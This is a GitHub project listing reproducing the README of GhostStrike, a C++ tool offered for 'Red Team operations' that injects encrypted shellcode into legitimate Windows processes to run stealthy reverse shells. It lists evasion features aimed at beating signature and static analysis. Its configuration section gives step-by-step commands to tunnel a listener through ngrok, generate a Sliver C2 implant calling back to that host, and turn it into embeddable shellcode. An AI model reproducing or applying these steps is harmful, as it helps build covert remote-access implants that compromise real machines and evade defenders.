stivenhacker/GhostStrike
stivenhacker/GhostStrike has 828 GitHub stars and 94 forks. GitHot measured 0 stars in 24 hours and -2 in 7 days. Last checked 2026-11-09 15:59 UTC. Last push 2024-09-03.
Deploy stealthy reverse shells using advanced process hollowing with GhostStrike – a C++ tool for ethical hacking and Red Team operations.
What you can do
- Dynamic API Resolution: Utilizes a custom hash-based method to dynamically resolve Windows APIs, avoiding detection by signature-based security tools.
- Base64 Encoding/Decoding: Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.
- Cryptographic Key Generation: Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.
- XOR Encryption/Decryption: Simple but effective XOR-based encryption to protect the shellcode during its injection process.
Measured star growth
- in 24h
- 0
- in 7 days
- -2
- in 15 days
- Collecting history
- in 1 month
- Collecting history
Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.
README.md
OriginalGhostStrike ⚔️
GhostStrike is an advanced cybersecurity tool designed for Red Team operations, featuring sophisticated techniques to evade detection and perform process hollowing on Windows systems.
✨ Features
- Dynamic API Resolution: Utilizes a custom hash-based method to dynamically resolve Windows APIs, avoiding detection by signature-based security tools.
- Base64 Encoding/Decoding: Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.
- Cryptographic Key Generation: Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.
- XOR Encryption/Decryption: Simple but effective XOR-based encryption to protect the shellcode during its injection process.
- Control Flow Flattening: Implements control flow flattening to obfuscate the execution path, complicating analysis by both static and dynamic analysis tools.
- Process Hollowing: Injects encrypted shellcode into a legitimate Windows process, allowing it to execute covertly without raising suspicions.
⚙️ Configuration
You can configure GhostStrike with the following steps:
- Create Ngrok Service:
ngrok tcp 443 - Generate Sliver C2 Implant:
generate --mtls x.tcp.ngrok.io --save YourFile.exe - Create Listener:
mtls --lhost 0.0.0.0 --lport 443 - Convert to .bin:
./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin - Convert to C++ Shellcode:
xxd -i YourFile.bin > YourFile.h - Import YourFile.h to this code
- Compile and enjoy! 🚀
💻 Requirements
- C++ Compiler: Any modern C++ compiler, such as
g++,clang++, or Visual Studio, is sufficient to compile the code.
No additional dependencies are needed to build GhostStrike. Simply compile the source code with your preferred C++ compiler, and you're ready to go!
⚠️ Disclaimer
This tool is intended solely for educational purposes and for use in controlled environments. Unauthorized use of GhostStrike outside of these settings is strictly prohibited. The author, @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code.
🎥 Demo
Check out a live demonstration of GhostStrike in action on LinkedIn:
Explore related projects
trimstray/the-book-of-secret-knowledge
A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools and more.
257,198 starsHack-with-Github/Awesome-Hacking
A collection of various awesome lists for hackers, pentesters and security researchers
125,014 starsswisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
82,508 starscaddyserver/caddy
Fast and extensible multi-platform HTTP/1-2-3 web server with automatic HTTPS
78,910 stars